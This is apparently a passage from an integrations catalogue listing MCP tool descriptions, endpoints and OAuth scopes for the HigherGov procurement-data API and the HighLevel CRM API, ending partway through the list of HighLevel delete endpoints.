highergov_get_api_external_contract (read) — List federal prime contract awards, via GET /api-external/contract/. The core federal spend dataset, updated DAILY by 2am for the day before last, with `last_modified_date` as the update-check field. Each row carries the award identifier and type, the awardee and its parent, awarding and funding agency, NAICS and PSC, `total_dollars_obligated` alongside the current and potential total value of the award, period of performance dates, place of performance, competition fields (`extent_competed`, `number_of_offers_received`, `other_than_full_and_open_competition`, `type_of_set_aside`) and the vehicle it was placed under. THIS IS PRIME CONTRACTS ONLY: an order placed against an IDV appears here, but the IDV itself is 'List federal IDV awards' and money passed down to subcontractors is 'List federal subcontract awards'. `captured_date` and `last_modified_date` are different clocks and can differ by 1-90 days. GET /api/v1/highergov/api-external/contract/. Scopes: api. highergov_get_api_external_document (read) — List the downloadable documents for one opportunity, via GET /api-external/document/. `related_key` IS REQUIRED and it is not an opportunity key: it is the value in the `document_path` field of a row from 'List contract, grant and DIBBS opportunities'. Calling this without first reading an opportunity is the one sequencing mistake this provider invites. Each row carries `file_name`, `file_type`, `file_size`, `posted_date`, a `download_url`, and -- the reason to prefer this over downloading anything -- a `summary` and a `text_extract` HigherGov has already produced, which usually answers the question without fetching the file. NO BYTES CROSS THIS TOOL: it returns JSON with URL strings, and this integration neither follows nor proxies them. Real time. GET /api/v1/highergov/api-external/document/. Scopes: api. highergov_get_api_external_grant (read) — List federal prime grant awards, via GET /api-external/grant/. The grant counterpart of the contract dataset: updated DAILY by 2am for the day before last, with `last_modified_date` as the update-check field. Each row carries the FAIN award id, the recipient and its parent, awarding and funding agency, the CFDA grant program, `federal_action_obligation` and `total_obligated_amount`, `non_federal_funding_amount`, period of performance and place of performance. Filter by `cfda_program_number` to follow one programme; the programme's own objectives and eligibility rules are in 'List federal grant programs'. Grants and contracts are separate datasets here -- a recipient that holds both appears in both, and neither tool returns the other's rows. GET /api/v1/highergov/api-external/grant/. Scopes: api. highergov_get_api_external_grant_program (read) — List federal assistance programmes and their eligibility rules, via GET /api-external/grant-program/. The CFDA / Assistance Listing catalogue: one row per programme, carrying `cfda_program_number`, `program_title` and `popular_program_title`, the sponsoring agency, `cfda_objective`, `type_of_assistance`, and -- the fields worth reading before chasing a grant -- `applicant_eligibility` and `beneficiary_eligibility`, which say who may apply at all. `active` distinguishes live programmes from retired ones; the dataset returns both. Updated ad hoc as programmes are published, typically monthly. The awards MADE under a programme are in 'List federal prime grant awards', filtered by the same `cfda_program_number`. GET /api/v1/highergov/api-external/grant-program/. Scopes: api. highergov_get_api_external_idv (read) — List Indefinite Delivery Vehicle awards -- IDIQs, BPAs, GSA schedules -- via GET /api-external/idv/. AN IDV IS A HUNTING LICENCE, NOT A SALE. It establishes who may receive orders and up to what ceiling; the money moves on the orders, which appear in 'List federal prime contract awards' with this award's id as their `parent_award_id`. Reading an IDV's `potential_total_value_of_award` as revenue is the standard mistake. Rows carry the award id and type, awardee and parent, awarding and funding agency, NAICS and PSC, `ordering_period_end_date`, `who_can_use`, `closed_status`, the competition fields and the vehicle. Updated daily by 2am for the day before last; `last_modified_date` is the update-check field, and note this endpoint spells its ordering key `last_modified_date_ordering`. GET /api/v1/highergov/api-external/idv/. Scopes: api. highergov_get_api_external_naics (read) — List North American Industry Classification System codes, via GET /api-external/naics/. The industry-code reference: `naics_code`, `naics_description`, a longer `naics_description_long` and an `active` flag, since codes are retired and reissued as the Census Bureau revises the system and the SBA changes size standards. Use it to turn a code found on an award into a description, or a description into the codes to filter awards by. IT IS ALSO THE CHEAPEST HEALTH CHECK ON THIS PROVIDER, and the one this integration's credential check will use once a subscriber key exists to measure it with: pure reference data with no account entitlement behind it, and one row at `page_size=1` on an API that meters records rather than requests. GET /api/v1/highergov/api-external/naics/. Scopes: api. highergov_get_api_external_nsn (read) — Look up NATO Stock Numbers with pricing and supplier history, via GET /api-external/nsn/. The defence-parts catalogue, and the one endpoint on this provider that carries PRICES: each row has `nsn` and `niin`, `nomenclature`, `end_item_name`, the federal supply class `fsc`, the acquisition codes `amc`/`amsc` and the unit of issue `ui`, a list of `part_numbers` and `suppliers`, the `awards` and `opp_count` behind it, and `last_price`/`unit_price`. Filter by `nsn`, by `part_number` when only the manufacturer's number is known, or by `cage_code` to see what one supplier is in the catalogue for. Ordering by `-opp_count` surfaces the parts that are bid most often. Prices are historical, not quotes. GET /api/v1/highergov/api-external/nsn/. Scopes: api. highergov_get_api_external_opportunity (read) — List open and historical solicitations across SAM, DIBBS, SBIR, grants and state/local, via GET /api-external/opportunity/. THE TOOL TO REACH FOR WHEN SOMEBODY ASKS WHAT IS OUT THERE TO BID ON -- not 'List this account's HigherGov pursuits', which is the customer's own internal pipeline. Updated every 30 MINUTES, with `captured_date` as the update-check field. Rows carry `title`, `description_text` and an `ai_summary`, `opp_key` and `version_key`, `source_type` (`sam`, `dibbs`, `sbir`, `grant`, `sled`) and `source_id`, `posted_date` and `due_date`, `set_aside` and `sole_source_flag`, NAICS/PSC/NSN, place of performance, primary and secondary contact e-mail, estimated value range, and `document_path` -- which is the `related_key` 'List documents attached to an opportunity' needs. An opportunity is RE-CAPTURED when amended, so filter on `version_key` for one exact revision and on `opp_key` for every revision of the same solicitation. `search_id` replays a saved HigherGov search and is the only keyword channel this API has. GET /api/v1/highergov/api-external/opportunity/. Scopes: api. highergov_get_api_external_people (read) — List federal and state/local government points of contact, via GET /api-external/people/. CONTACT DETAILS OF REAL PEOPLE, published by the agencies on their own solicitations and awards. Rows carry `contact_name` (and its first/last parts), `contact_title`, `contact_type`, `contact_email`, `contact_phone`, `contact_ext`, `contact_fax`, the `agency` and `last_seen` -- the date the contact was last observed on a live record, which is the field that says whether the details are still current. Updated in real time. Filter by `contact_email` for an exact person; there is no name search on this endpoint. Treat the results as personal data: they are published for procurement correspondence, not for bulk marketing, and ordering by `-last_seen` is the cheap way to take only what is fresh. GET /api/v1/highergov/api-external/people/. Scopes: api. highergov_get_api_external_psc (read) — List Product Service Codes and their descriptions, via GET /api-external/psc/. The other classification reference beside NAICS, and the two answer different questions: NAICS says what INDUSTRY the seller is in, PSC says what the government is BUYING. Rows carry `psc_code`, `psc_name`, `psc_description` and an `active` flag, since codes are retired as the schedule is revised. Use it to turn a code on a contract into words, or to choose the codes to filter awards and opportunities by. Updated ad hoc as codes are added or removed. GET /api/v1/highergov/api-external/psc/. Scopes: api. highergov_get_api_external_pursuit (read) — List the connected account's own Business Development pipeline, via GET /api-external/pursuit/. THE ONLY ACCOUNT-SPECIFIC TOOL ON THIS PROVIDER, and the one an agent most often reaches for by mistake. It returns the customer's OWN pursuit records -- what they are chasing, managed at highergov.com/pursuit/ -- and not government opportunities. To find solicitations to bid on, call 'List contract, grant and DIBBS opportunities' instead; the contract says so in its own words. Rows carry `pursuit_name`, `stage_name` and `pipeline_name`, `owner`, `pwin` and `weighted_value`, `est_value` and `duration_months`, `proposal_due_date`, `expected_award_date` and `solicitation_date`, `prime_sub`, `set_aside`, NAICS and PSC, tags, discussion, notes, tasks and `highergov_opp_path` linking back to the opportunity. AN EMPTY RESULT IS NORMAL AND IS NOT A CREDENTIAL PROBLEM: this endpoint is a HigherGov Business Development module feature, so an account whose subscription does not include it, or one that simply keeps no pursuits, answers 200 with no rows. The same key reaches every other tool on this provider either way -- it is a plan entitlement, not a permission gap, and there is nothing to reconnect. GET /api/v1/highergov/api-external/pursuit/. Scopes: api. highergov_get_api_external_sl_contract (read) — List state, local and education contract awards, via GET /api-external/sl-contract/. SLED spend, which is a SEPARATE dataset from the federal one and has a different shape because the sources are thousands of independent jurisdictions rather than one reporting system. Rows carry `award_amount` and `award_type`, the awardee and its parent (plus `awardee_raw` and `agency_raw`, the strings as the jurisdiction published them), `awardee_hq_city`/`awardee_hq_state`, `state_abr`, `start_date` and `end_date`, a `description`, contact name/e-mail/phone in both raw and cleaned forms, `po_flag`, the `solicitation_key` it came from, and a `url` back to the source. Filter the period with `start_date`/`end_date`, poll with `captured_date`, and use `search_id` to replay a saved search -- including its State filter, which only this dataset has. GET /api/v1/highergov/api-external/sl-contract/. Scopes: api. highergov_get_api_external_subcontract (read) — List subcontracts reported under federal prime contracts, via GET /api-external/subcontract/. MONEY FLOWING DOWN FROM A PRIME, reported by the prime itself -- which is why the contract's own note warns that data arrives LATE and recommends re-reading the prior year periodically rather than trusting a narrow `last_modified_date` window. Updated weekly. Rows carry `subaward_id`, `sub_awardee` and its parent, `subaward_amount_total`, `subaward_action_date` and its fiscal year, `subaward_description`, and the `prime_contract_award_id` / `prime_idv_award_id` the work sits under, alongside the prime contract record itself. Note the filters name the SUBAWARDEE: `awardee_key` here is the sub, not the prime. To go the other way -- who subs to whom, in aggregate -- use 'List awardee teaming partnerships'. GET /api/v1/highergov/api-external/subcontract/. Scopes: api. highergov_get_api_external_subgrant (read) — List subgrants reported under federal prime grants, via GET /api-external/subgrant/. The grant-side sibling of the subcontract dataset, with the same weekly cadence and the same late-reporting caveat from the contract: look back over the prior year periodically rather than trusting a narrow window. Rows carry `subaward_id`, `sub_awardee` and its parent, `subaward_amount_total`, `subaward_action_date` and its fiscal year, `subaward_description` and the `prime_grant_award_id` the money came from, alongside the prime grant record and its programme. As with subcontracts, the awardee filters name the SUBRECIPIENT rather than the prime. GET /api/v1/highergov/api-external/subgrant/. Scopes: api. highergov_get_api_external_vehicle (read) — List multi-award contract vehicles, via GET /api-external/vehicle/. GWACs, MACs and agency-wide vehicles as first-class records: `vehicle_name` and `vehicle_description`, `vehicle_type`, the `primary_sponsor_agency`, `award_date` and `last_date_to_order`, `shared_ceiling`, `type_of_set_aside`, `who_can_use`, the `associated_solicitation`, and `predecessor_vehicle` / `successor_vehicle` -- which are how a recompete chain is followed from an expiring vehicle to the one replacing it. `vehicle_key` is what the contract and IDV tools take as their `vehicle_key` filter. `last_date_to_order` is the date that matters commercially: after it, the vehicle takes no new orders whatever its ceiling says. Updated ad hoc as new awards are made. GET /api/v1/highergov/api-external/vehicle/. Scopes: api. ================================================================================ ## HighLevel URL: https://www.agenticfabriq.com/integrations/highlevel Section: Integrated Tools HighLevel — 568 MCP tools Provider key: highlevel. Scopes: adPublishing.readonly, adPublishing.write, affiliate-manager.readonly, agent-studio.readonly, agent-studio.write, associations.readonly, associations.write, associations/relation.readonly, associations/relation.write, blogs/author.readonly, blogs/category.readonly, blogs/check-slug.readonly, blogs/list.readonly, blogs/post-update.write, blogs/post.write, blogs/posts.readonly, brand-boards/design-kit.readonly, brand-boards/design-kit.write, businesses.readonly, businesses.write, calendars.readonly, calendars.write, calendars/events.readonly, calendars/events.write, calendars/groups.readonly, calendars/groups.write, calendars/resources.readonly, calendars/resources.write, campaigns.readonly, charges.readonly, charges.write, companies.readonly, contacts.readonly, contacts.write, conversation-ai.readonly, conversation-ai.write, conversations.readonly, conversations.write, conversations/livechat.write, conversations/message.readonly, conversations/message.write, custom-menu-link.readonly, custom-menu-link.write, emails/builder.readonly, emails/builder.write, emails/schedule.readonly, forms.readonly, funnels/redirect.readonly, funnels/redirect.write, invoices.readonly, invoices.write, invoices/estimate.readonly, invoices/estimate.write, invoices/schedule.readonly, invoices/schedule.write, invoices/template.readonly, invoices/template.write, links.readonly, links.write, locations.readonly, locations.write, locations/customFields.readonly, locations/customFields.write, locations/customValues.readonly, locations/customValues.write, locations/tags.readonly, locations/tags.write, locations/tasks.readonly, locations/templates.readonly, marketplace-external-auth-migration.write, marketplace-installer-details.readonly, medias.readonly, medias.write, numberpools.read, oauth.readonly, oauth.write, objects/record.readonly, objects/record.write, objects/schema.readonly, objects/schema.write, opportunities.readonly, opportunities.write, payments/coupons.readonly, payments/coupons.write, payments/custom-provider.readonly, payments/custom-provider.write, payments/integration.readonly, payments/integration.write, payments/orders.collectPayment, payments/orders.readonly, payments/orders.write, payments/subscriptions.readonly, payments/transactions.readonly, phonenumbers.read, phonenumbers.write, products.readonly, products.write, products/collection.readonly, products/collection.write, products/prices.readonly, products/prices.write, socialplanner/account.readonly, socialplanner/category.readonly, socialplanner/csv.write, socialplanner/oauth.readonly, socialplanner/post.readonly, socialplanner/post.write, surveys.readonly, users.readonly, users.write, voice-ai-agent-goals.readonly, voice-ai-agent-goals.write, voice-ai-agents.readonly, voice-ai-agents.write, voice-ai-dashboard.readonly, workflows.readonly. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. highlevel_delete_ad_publishing_facebook_ad_accounts_by_adaccountid (write, destructive) — Delete ad account: Remove a Facebook ad account connection from a location (DELETE /ad-publishing/facebook/ad-accounts/{adAccountId}) DELETE /api/v1/highlevel/ad-publishing/facebook/ad-accounts/{adAccountId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_ads_by_adid (write, destructive) — Delete ad: Delete a Facebook ad by ID (DELETE /ad-publishing/facebook/ads/{adId}) DELETE /api/v1/highlevel/ad-publishing/facebook/ads/{adId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_adsets_by_adsetid (write, destructive) — Delete ad set: Delete a Facebook ad set by ID (DELETE /ad-publishing/facebook/adsets/{adsetId}) DELETE /api/v1/highlevel/ad-publishing/facebook/adsets/{adsetId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_campaigns_by_campaignid (write, destructive) — Delete campaign: Delete a Facebook campaign by ID (DELETE /ad-publishing/facebook/campaigns/{campaignId}) DELETE /api/v1/highlevel/ad-publishing/facebook/campaigns/{campaignId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_custom_audience_by_audienceid (write, destructive) — Delete custom audience: Delete a Facebook custom audience by ID (DELETE /ad-publishing/facebook/custom-audience/{audienceId}) DELETE /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_custom_audience_by_audienceid_member (write, destructive) — Remove custom audience member: Remove a member from a Facebook custom audience (DELETE /ad-publishing/facebook/custom-audience/{audienceId}/member) DELETE /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}/member. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_integration (write, destructive) — Delete Facebook integration: Remove the Facebook ad integration from a location (DELETE /ad-publishing/facebook/integration) DELETE /api/v1/highlevel/ad-publishing/facebook/integration. Scopes: adPublishing.write. highlevel_delete_ad_publishing_facebook_page (write, destructive) — Delete page connection: Remove a Facebook page connection from a location (DELETE /ad-publishing/facebook/page) DELETE /api/v1/highlevel/ad-publishing/facebook/page. Scopes: adPublishing.write. highlevel_delete_ad_publishing_google_ad_accounts_by_adaccountid (write, destructive) — Delete ad account: Remove a Google Ads account connection from a location (DELETE /ad-publishing/google/ad-accounts/{adAccountId}) DELETE /api/v1/highlevel/ad-publishing/google/ad-accounts/{adAccountId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_google_conversions_by_conversionid (write, destructive) — Delete conversion: Delete a Google Ads conversion action by ID (DELETE /ad-publishing/google/conversions/{conversionId}) DELETE /api/v1/highlevel/ad-publishing/google/conversions/{conversionId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_google_segments_by_segmentid (write, destructive) — Delete segment: Delete a Google Ads audience segment by ID (DELETE /ad-publishing/google/segments/{segmentId}) DELETE /api/v1/highlevel/ad-publishing/google/segments/{segmentId}. Scopes: adPublishing.write. highlevel_delete_ad_publishing_linkedin_ad_account (write, destructive) — Delete ad account: Remove a LinkedIn ad account connection from a location (DELETE /ad-publishing/linkedin/ad-account) DELETE /api/v1/highlevel/ad-publishing/linkedin/ad-account. Scopes: adPublishing.write. highlevel_delete_agent_studio_agent_by_agentid (write, destructive) — Delete Agent: Deletes an agent and all its versions. (DELETE /agent-studio/agent/{agentId}) DELETE /api/v1/highlevel/agent-studio/agent/{agentId}. Scopes: agent-studio.write. highlevel_delete_associations_by_associationid (write, destructive) — Delete Association: Delete USER_DEFINED Association By Id, deleting an association will also all the relations for that association (DELETE /associations/{associationId}) DELETE /api/v1/highlevel/associations/{associationId}. Scopes: associations.write. highlevel_delete_associations_relations_by_relationid (write, destructive) — Delete Relation (DELETE /associations/relations/{relationId}) DELETE /api/v1/highlevel/associations/relations/{relationId}. Scopes: associations/relation.write. highlevel_delete_brand_boards_by_locationid_by_id (write, destructive) — Delete a Brand Board: Deletes a Brand Board (DELETE /brand-boards/{locationId}/{id}) DELETE /api/v1/highlevel/brand-boards/{locationId}/{id}. Scopes: brand-boards/design-kit.write. highlevel_delete_businesses_by_businessid (write, destructive) — Delete Business (DELETE /businesses/{businessId}) DELETE /api/v1/highlevel/businesses/{businessId}. Scopes: businesses.write. highlevel_delete_calendars_appointments_by_appointmentid_notes_by_noteid (write, destructive) — Delete Note (DELETE /calendars/appointments/{appointmentId}/notes/{noteId}) DELETE /api/v1/highlevel/calendars/appointments/{appointmentId}/notes/{noteId}. Scopes: calendars/events.write. highlevel_delete_calendars_by_calendarid (write, destructive) — Delete Calendar: Delete calendar by ID (DELETE /calendars/{calendarId}) DELETE /api/v1/highlevel/calendars/{calendarId}. Scopes: calendars.write. highlevel_delete_calendars_by_calendarid_notifications_by_notificationid (write, destructive) — Delete Notification: Delete notification (DELETE /calendars/{calendarId}/notifications/{notificationId}) DELETE /api/v1/highlevel/calendars/{calendarId}/notifications/{notificationId}. Scopes: calendars/events.write. highlevel_delete_calendars_events_by_eventid (write, destructive) — Delete Event: Delete event by ID (DELETE /calendars/events/{eventId}) DELETE /api/v1/highlevel/calendars/events/{eventId}. Scopes: calendars/events.write. highlevel_delete_calendars_groups_by_groupid (write, destructive) — Delete Group (DELETE /calendars/groups/{groupId}) DELETE /api/v1/highlevel/calendars/groups/{groupId}. Scopes: calendars/groups.write. highlevel_delete_calendars_resources_by_resourcetype_by_id (write, destructive) — Delete Calendar Resource: Delete calendar resource by ID (DELETE /calendars/resources/{resourceType}/{id}) DELETE /api/v1/highlevel/calendars/resources/{resourceType}/{id}. Scopes: calendars/resources.write. highlevel_delete_calendars_schedules_by_id (write, destructive) — Delete user availability schedule: Permanently remove a schedule and all its associated rules. This action cannot be undone. (DELETE /calendars/schedules/{id}) DELETE /api/v1/highlevel/calendars/schedules/{id}. Scopes: calendars.write. highlevel_delete_calendars_schedules_by_id_associations_by_calendarid (write, destructive) — Remove user availability schedule from a calendar: Removes the association between a team calendar and the given schedule by removing the calendarId from the schedule (DELETE /calendars/schedules/{id}/associations/{calendarId}) DELETE /api/v1/highlevel/calendars/schedules/{id}/associations/{calendarId}. Scopes: calendars.write. highlevel_delete_contacts_by_contactid (write, destructive) — Delete Contact (DELETE /contacts/{contactId}) DELETE /api/v1/highlevel/contacts/{contactId}. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_campaigns_by_campaignid (write, destructive) — Remove Contact From Campaign (DELETE /contacts/{contactId}/campaigns/{campaignId}) DELETE /api/v1/highlevel/contacts/{contactId}/campaigns/{campaignId}. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_campaigns_removeall (write, destructive) — Remove Contact From Every Campaign (DELETE /contacts/{contactId}/campaigns/removeAll) DELETE /api/v1/highlevel/contacts/{contactId}/campaigns/removeAll. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_followers (write, destructive) — Remove Followers (DELETE /contacts/{contactId}/followers) DELETE /api/v1/highlevel/contacts/{contactId}/followers. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_notes_by_id (write, destructive) — Delete Note (DELETE /contacts/{contactId}/notes/{id}) DELETE /api/v1/highlevel/contacts/{contactId}/notes/{id}. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_tags (write, destructive) — Remove Tags (DELETE /contacts/{contactId}/tags) DELETE /api/v1/highlevel/contacts/{contactId}/tags. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_tasks_by_taskid (write, destructive) — Delete Task (DELETE /contacts/{contactId}/tasks/{taskId}) DELETE /api/v1/highlevel/contacts/{contactId}/tasks/{taskId}. Scopes: contacts.write. highlevel_delete_contacts_by_contactid_workflow_by_workflowid (write, destructive) — Delete Contact from Workflow (DELETE /contacts/{contactId}/workflow/{workflowId}) DELETE /api/v1/highlevel/contacts/{contactId}/workflow/{workflowId}. Scopes: contacts.write. highlevel_delete_conversation_ai_agents_by_agentid (write, destructive) — Delete Agent: Deletes an AI agent permanently. This action cannot be undone. All associated configurations and conversation history will be removed. (DELETE /conversation-ai/agents/{agentId}) DELETE /api/v1/highlevel/conversation-ai/agents/{agentId}. Scopes: conversation-ai.write. highlevel_delete_conversation_ai_agents_by_agentid_actions_by_actionid (write, destructive) — Remove Action from Agent: Permanently deletes an action. This will remove the action from all associated agents and cannot be undone. (DELETE /conversation-ai/agents/{agentId}/actions/{actionId}) DELETE /api/v1/highlevel/conversation-ai/agents/{agentId}/actions/{actionId}. Scopes: conversation-ai.write. highlevel_delete_conversations_by_conversationid (write, destructive) — Delete Conversation: Delete the conversation details based on the conversation ID (DELETE /conversations/{conversationId}) DELETE /api/v1/highlevel/conversations/{conversationId}. Scopes: conversations.write. highlevel_delete_conversations_messages_by_messageid_schedule (write, destructive) — Cancel a scheduled message.: Post the messageId for the API to delete a scheduled message. (DELETE /conversations/messages/{messageId}/schedule) DELETE /api/v1/highlevel/conversations/messages/{messageId}/schedule. Scopes: conversations/message.write. highlevel_delete_conversations_messages_email_by_emailmessageid_schedule (write, destructive) — Cancel a scheduled email message.: Post the messageId for the API to delete a scheduled email message. (DELETE /conversations/messages/email/{emailMessageId}/schedule) DELETE /api/v1/highlevel/conversations/messages/email/{emailMessageId}/schedule. Scopes: none. highlevel_delete_custom_fields_by_id (write, destructive) — Delete Custom Field By Id: Delete Custom Field By Id ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (DELETE /custom-fields/{id}) DELETE /api/v1/highlevel/custom-fields/{id}. Scopes: locations/customFields.write. highlevel_delete_custom_fields_folder_by_id (write, destructive) — Delete Custom Field Folder: Create Custom Field Folder ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (DELETE /custom-fields/folder/{id}) DELETE /api/v1/highlevel/custom-fields/folder/{id}. Scopes: locations/customFields.write. highlevel_delete_custom_menus_by_custommenuid (write, destructive) — Delete Custom Menu Link: Removes a specific custom menu from the system. This operation requires authentication and proper permissions. The custom menu is identified by its unique ID, and the operation is performed within the context of a specific company. (DELETE /custom-menus/{customMenuId}) DELETE /api/v1/highlevel/custom-menus/{customMenuId}. Scopes: custom-menu-link.write. highlevel_delete_emails_builder_by_locationid_by_templateid (write, destructive) — Delete a template (DELETE /emails/builder/{locationId}/{templateId}) DELETE /api/v1/highlevel/emails/builder/{locationId}/{templateId}. Scopes: none. highlevel_delete_funnels_lookup_redirect_by_id (write, destructive) — Delete Redirect By Id: The "Delete Redirect By Id" API Allows deletion of a URL redirect from the system using its unique identifier. Use this endpoint to delete a URL redirect with the specified ID using details provided in the request payload. (DELETE /funnels/lookup/redirect/{id}) DELETE /api/v1/highlevel/funnels/lookup/redirect/{id}. Scopes: funnels/redirect.write. highlevel_delete_invoices_by_invoiceid (write, destructive) — Delete invoice: API to delete invoice by invoice id (DELETE /invoices/{invoiceId}) DELETE /api/v1/highlevel/invoices/{invoiceId}. Scopes: invoices.write. highlevel_delete_invoices_estimate_by_estimateid (write, destructive) — Delete Estimate: Delete an existing estimate (DELETE /invoices/estimate/{estimateId}) DELETE /api/v1/highlevel/invoices/estimate/{estimateId}. Scopes: invoices/estimate.write. highlevel_delete_invoices_estimate_template_by_templateid (write, destructive) — Delete Estimate Template: Delete an existing estimate template (DELETE /invoices/estimate/template/{templateId}) DELETE /api/v1/highlevel/invoices/estimate/template/{templateId}. Scopes: invoices/estimate.write. highlevel_delete_invoices_schedule_by_scheduleid (write, destructive) — Delete schedule: API to delete an schedule by schedule id (DELETE /invoices/schedule/{scheduleId}) DELETE /api/v1/highlevel/invoices/schedule/{scheduleId}. Scopes: invoices/schedule.write. highlevel_delete_invoices_template_by_templateid (write, destructive) — Delete template: API to update an template by template id (DELETE /invoices/template/{templateId}) DELETE /api/v1/highlevel/invoices/template/{templateId}. Scopes: invoices/template.write. highlevel_delete_knowledge_bases_by_knowledgebaseid (write, destructive) — Delete a knowledge base (DELETE /knowledge-bases/{knowledgeBaseId}) DELETE /api/v1/highlevel/knowledge-bases/{knowledgeBaseId}. Scopes: none. highlevel_delete_knowledge_bases_crawler (write, destructive) — Delete trained pages (DELETE /knowledge-bases/crawler) DELETE /api/v1/highlevel/knowledge-bases/crawler. Scopes: none. highlevel_delete_knowledge_bases_faqs_by_id (write, destructive) — Delete an existing knowledge base FAQ (DELETE /knowledge-bases/faqs/{id}) DELETE /api/v1/highlevel/knowledge-bases/faqs/{id}. Scopes: none. highlevel_delete_links_by_linkid (write, destructive) — Delete Link (DELETE /links/{linkId}) DELETE /api/v1/highlevel/links/{linkId}. Scopes: links.write. highlevel_delete_locations_by_locationid_customfields_by_id (write, destructive) — Delete Custom Field (DELETE /locations/{locationId}/customFields/{id}) DELETE /api/v1/highlevel/locations/{locationId}/customFields/{id}. Scopes: none. highlevel_delete_locations_by_locationid_customvalues_by_id (write, destructive) — Delete Custom Value (DELETE /locations/{locationId}/customValues/{id}) DELETE /api/v1/highlevel/locations/{locationId}/customValues/{id}. Scopes: none. highlevel_delete_locations_by_locationid_recurring_tasks_by_id (write, destructive) — Delete Recurring Task (DELETE /locations/{locationId}/recurring-tasks/{id}) DELETE /api/v1/highlevel/locations/{locationId}/recurring-tasks/{id}. Scopes: none. highlevel_delete_locations_by_locationid_tags_by_tagid (write, destructive) — Delete tag (DELETE /locations/{locationId}/tags/{tagId}) DELETE /api/v1/highlevel/locations/{locationId}/tags/{tagId}. Scopes: none. highlevel_delete_locations_by_locationid_templates_by_id (write, destructive) — DELETE an email/sms template (DELETE /locations/{locationId}/templates/{id}) DELETE /api/v1/highlevel/locations/{locationId}/templates/{id}. Scopes: none. highlevel_delete_marketplace_app_by_appid_installations (write, destructive) — Uninstall an application: Uninstalls an application from your company or a specific location. This will remove the applications access and stop all its functionalities (DELETE /marketplace/app/{appId}/installations) DELETE /api/v1/highlevel/marketplace/app/{appId}/installations. Scopes: oauth.write. highlevel_delete_marketplace_billing_charges_by_chargeid (write, destructive) — Delete a wallet charge (DELETE /marketplace/billing/charges/{chargeId}) DELETE /api/v1/highlevel/marketplace/billing/charges/{chargeId}. Scopes: charges.write. highlevel_delete_medias_by_id (write, destructive) — Delete File or Folder: Deletes specific file or folder from the media storage (DELETE /medias/{id}) DELETE /api/v1/highlevel/medias/{id}. Scopes: medias.write. highlevel_delete_objects_by_schemakey_records_by_id (write, destructive) — Delete Record: Delete Record By Id . Supported Objects are business and custom objects. (DELETE /objects/{schemaKey}/records/{id}) DELETE /api/v1/highlevel/objects/{schemaKey}/records/{id}. Scopes: none. highlevel_delete_opportunities_by_id (write, destructive) — Delete Opportunity (DELETE /opportunities/{id}) DELETE /api/v1/highlevel/opportunities/{id}. Scopes: opportunities.write. highlevel_delete_opportunities_by_id_followers (write, destructive) — Remove Followers: Allows removal of one or all followers from an opportunity. (DELETE /opportunities/{id}/followers) DELETE /api/v1/highlevel/opportunities/{id}/followers. Scopes: opportunities.write. highlevel_delete_payments_coupon (write, destructive) — Delete Coupon: The "Delete Coupon" API allows you to permanently remove a coupon from your system using its unique identifier. Use this endpoint to discontinue promotional offers or clean up unused coupons. Note that this action cannot be undone. (DELETE /payments/coupon) DELETE /api/v1/highlevel/payments/coupon. Scopes: payments/coupons.write. highlevel_delete_payments_custom_provider_provider (write, destructive) — Deleting an existing integration: API to delete an association for an app and location (DELETE /payments/custom-provider/provider) DELETE /api/v1/highlevel/payments/custom-provider/provider. Scopes: payments/custom-provider.write. highlevel_delete_products_by_productid (write, destructive) — Delete Product by ID: The "Delete Product by ID" API allows deleting a specific product using its unique identifier. Use this endpoint to remove a product from the system. (DELETE /products/{productId}) DELETE /api/v1/highlevel/products/{productId}. Scopes: products.write. highlevel_delete_products_by_productid_price_by_priceid (write, destructive) — Delete Price by ID for a Product: The "Delete Price by ID for a Product" API allows deleting a specific price associated with a particular product using its unique identifier. Use this endpoint to remove a price from the system. (DELETE /products/{productId}/price/{priceId}) DELETE /api/v1/highlevel/products/{productId}/price/{priceId}. Scopes: products/prices.write. highlevel_delete_products_collections_by_collectionid (write, destructive) — Delete Product Collection: Delete specific product collection with Id :collectionId (DELETE /products/collections/{collectionId}) DELETE /api/v1/highlevel/products/collections/{collectionId}. Scopes: products/collection.write. highlevel_delete_products_reviews_by_reviewid (write, destructive) — Delete Product Review: Delete specific product review (DELETE /products/reviews/{reviewId}) DELETE /api/v1/highlevel/products/reviews/{reviewId}. Scopes: products.write. highlevel_delete_social_media_posting_by_locationid_accounts_by_id (write, destructive) — Delete Account: Delete account and account from group (DELETE /social-media-posting/{locationId}/accounts/{id}) DELETE /api/v1/highlevel/social-media-posting/{locationId}/accounts/{id}. Scopes: none. highlevel_delete_social_media_posting_by_locationid_csv_by_csvid_post_by_postid (write, destructive) — Delete CSV Post (DELETE /social-media-posting/{locationId}/csv/{csvId}/post/{postId}) DELETE /api/v1/highlevel/social-media-posting/{locationId}/csv/{csvId}/post/{postId}. Scopes: none. highlevel_delete_social_media_posting_by_locationid_csv_by_id (write, destructive) — Delete CSV (DELETE /social-media-posting/{locationId}/csv/{id}) DELETE 